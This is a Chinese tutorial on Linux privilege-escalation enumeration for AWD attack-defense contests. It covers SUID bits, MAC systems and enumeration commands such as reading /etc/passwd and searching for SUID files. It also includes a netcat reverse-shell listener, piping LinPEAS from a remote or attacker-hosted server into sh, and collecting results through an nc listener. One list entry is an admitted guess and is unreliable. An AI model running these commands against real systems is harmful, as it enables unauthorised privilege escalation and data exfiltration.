【AWD】Linux 提权 - 信息枚举
【AWD】Linux 提权 - 信息枚举
大部分攻防场景, 在维持权限获取 shell 后, 很可能会分配到一个低权限用户, 提权到 root 级别的管理员用户才有 getshell 的意义.
权限体系
SUID SGID
SUID(Set User ID) 和 SGID(Set Group ID) 统称为 S 位, 被设置在可执行文件上, 当这些位被设置时,文件或程序将以文件所有者或组的权限运行,而不是以运行它的用户的权限运行。
- SUID: 当 SUID 位被设置, 无论谁运行这个文件,该文件都会以文件所有者的权限执行, SUID位通常表示为文件权限字符串中的一个s字符,如果权限是可执行的话,否则它是一个大写的S。
- SGID: 当 SGID 位被设置, 该文件会以文件组的权限执行。当SGID设置在目录上时,创建在该目录下的任何新文件都会继承该目录的组ID,而不是继承创建它的用户的主组ID。SGID位在文件权限字符串中也表示为s或S,取决于组权限是否可执行。
AppArmor SElinux
- AppArmor 是一种主要基于路径的强制访问控制(MAC)系统,它允许系统管理员为每个程序定义一个配置文件,来控制程序可以访问的文件和权限。 举个例子, 使用 AppArmor 可以为一个特定的程序指定只能读取特定目录下的文件。
- SELinux 基于策略来控制程序之间以及程序与文件之间的交互。与 AppArmor 不同,SELinux 不仅基于路径,而且使用了一套复杂的标签系统(包括类型、角色、用户等标签),这使得它可以实现更精细化的安全控制。
不常用的安全机制
- Grsecurity: 为Linux内核提供各种安全增强和补丁的项目, 功能包括角色基础访问控制 (RBAC), 内存保护,审计等
- Pax: 基于内核的保护补丁
- ExecShield: 可执行文件的‘盾’,也是基于内核的安全机制
- ASLR(Address Space Layout Random): 地址空间布局随机化
- TOMOYO Linux: 也是基于 MAC 的内核安全模块, 比AppArmor轻量级
- SMACK (Simplified Mandatory Access Control Kernel): SMACK是一个用于Linux的简化的强制访问控制系统。它提供了一种机制,允许系统管理员定义访问控制规则,这些规则指定哪些进程可以访问哪些文件和资源。
- Yama: Yama是一个Linux内核安全模块,提供了一系列安全策略。它最著名的功能之一是限制ptrace系统调用,这有助于防止某些类型的安全漏洞,特别是针对调试和系统监控工具的攻击。
- CGroups (Control Groups): CGroups是Linux内核的一部分,允许对系统资源(如CPU时间、系统内存、网络带宽等)进行分组管理和限制。这有助于实现资源分配、优先级控制等。
- Linux Namespaces: Linux命名空间是一种提供隔离的技术,它可以将系统的不同部分(如进程、网络、文件系统等)隔离开来,使得在一个命名空间中的进程看不到另一个命名空间中的资源。这是容器技术的关键组成部分。
- StackGuard: StackGuard是一个编译时安全特性,用于防范栈溢出攻击。它通过在栈上插入特殊的“哨兵”值来工作,这些值在函数调用时检查,以防止栈缓冲区溢出。
- Proplice: 这可能是对“Polkit”(以前称为PolicyKit)的提及,这是一个用于控制系统范围内特权的框架。它允许非特权进程向特权进程请求执行特定任务。
- seccomp (Secure Computing Mode): seccomp是一个Linux内核特性,允许一个进程设定一个“安全模式”,这个模式将限制进程可以调用的系统调用。这有助于限制进程的行为,防止安全漏洞。
- ptrace: ptrace是一种用于调试和监控Linux进程的系统调用。它允许一个进程观察和控制另一个进程的执行,以及检查和改变其内存和寄存器等。
- Capsicum: Capsicum是一种轻量级的操作系统能力和沙箱机制,最初是为FreeBSD开发的,但也有Linux实现。它允许应用程序以最小的特权运行。
- Mprotect: Mprotect是一个系统调用,允许改变一个进程内存区域的保护。这可以用来防止程序的某些部分被修改,或者防止执行非执行内存区域,作为安全措施。
- chroot: chroot是一种改变进程的根目录的操作。这可以用来创建一个隔离的环境,其中进程不能访问主文件系统之外的文件。
- firejail: firejail是一个沙箱程序,用于限制应用程序的运行环境。它通过使用Linux命名空间和seccomp-bpf等技术来提供隔离和安全控制。
提权原理
- 低权限可以修改可执行文件或者脚本, 然后能够以高权限运行这个文件或者脚本.
- 从用户行为的角度, 运维人员的操作习惯, 管理标准, 他们会把敏感信息留下方便他们操作.
- 有机会能够在权限体系上层提权, 如内存, cpu 进行操作, 在权限上层捕捉,拦截,修改凭据信息, 如基于内存去读取敏感信息的内核利用.
权限枚举
枚举准备
权限枚举之前, 可以通过以下方式提高终端交互性和稳定性:
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
以上命令通过 python 开启一个 bash 会话, 然后让 stty 通过行读取并禁用 echo. 然后可以使用
1 | rlwrap nc -lvnp 端口号 |
在获取反弹 shell 之前, 用 rlwrap 包裹起来, 这样就可以在终端中用方向键翻命令.
手动枚举
在这里列举的所有命令中, 第一条是主命令,大多情况适用
查看当前权限
1 | whoami # 查看自己的用户 |
看内核版本
1 | uname -a #查看当前内核版本 |
查看当前机器的 IP 地址
用于横向渗透获取内网信息
1 | ip addr # 最新最通用的方法 |
查看机器名称
用于定位角色来排除数据的优先级
1 | hostname # 看这个机器的名字 |
看当前用户有哪些以 root
的身份执行的
1 | sudo -l |
查看权限体系
1 | getcap -r / 2>/dev/null # 用 -r 指定根目录, 错误信息扔掉 |
查看命令
1 | ls -liah # 查看所有文件,包括隐藏文件 |
查看 passwd
文件
查看用户(名称:密码目录 + 描述 + bash 环境)
1 | cat /etc/passwd # 获取用户描述(有 home 目录的就是活跃用户)+对应的 bash 环境 |
查看自动任务
具体看是否有 root 权限的自动任务
1 | cat /etc/crontab |
查看环境变量
1 | echo $PATH # 查看路径 |
查看进程信息
展示出来的列中, UID 是用户类型, PID 是进程号,
TTY 是终端类型, TIME 是进程使用的 cpu 时间, CMD 是进程正在运行的命令和可执行文件
1 | ps -ef # 通用 |
查看网络统计
可以看到占用端口的程序,和他的进程 id
1 | netstat -a # 查看所有 |
查看有 S 位的可执行文件
2>/dev/null 把报错信息给扔掉
1 | find / -perm -u=s -type f 2>/dev/null |
查看工具是否有安装
1 | which 工具 |
查看哪些磁盘没被挂载
运维人员做备份或者做系统快照时, 会用一个临时挂载的磁盘存取这些敏感信息.
1 | cat /etc/fstab |
自动化枚举
先说说缺点:
自动化枚举往往要搬运工具, 会产生流量和流量特征, 且枚举的消息十分冗长, 要十分熟悉才能找到好的信息, 而且针对性很差.
这里列举工具,记得在 release 里找到对应系统的支持,再去搬运
- PEASS-ng (主要)
- LinEnum (备选)
- Linux-smart-enumeration (备选)
- Linux-exploit-suggester (备选)
- linuxprivchecker (备选,主要用 python)
- unix-privesc-check (超级备选
不同系统可能没安装对应的语言, 或者对特定语言的函数做了过滤, 要多换几个工具.
以 LinPEASS 为例, 以下是操作方法:
传统方法:
1 | cd /tmp # 大多数在 tmp 目录下做 |
推荐方法(有 curl):
1 | curl -L https:... | sh |
这里用 -L
追随重定向, 用 |
管道符连接到 sh
直接执行,就不会再本地存储.
如果连不到外网, 就要先在自己的机子本地下载 sh 文件, 然后在启动监听, 再 curl 过去靶机.
本地机 1:
1 | sudo python3 -m http.server 端口 |
靶机:
1 | curl 本地 ip/linpeas.sh | sh |
本地机 2:
1 | sudo nc -lvnp 端口号 | tee linpeas.txt |
如果靶机执行第二条语句, 本地机 2 就会获得扫描结果文本.
文章参考视频: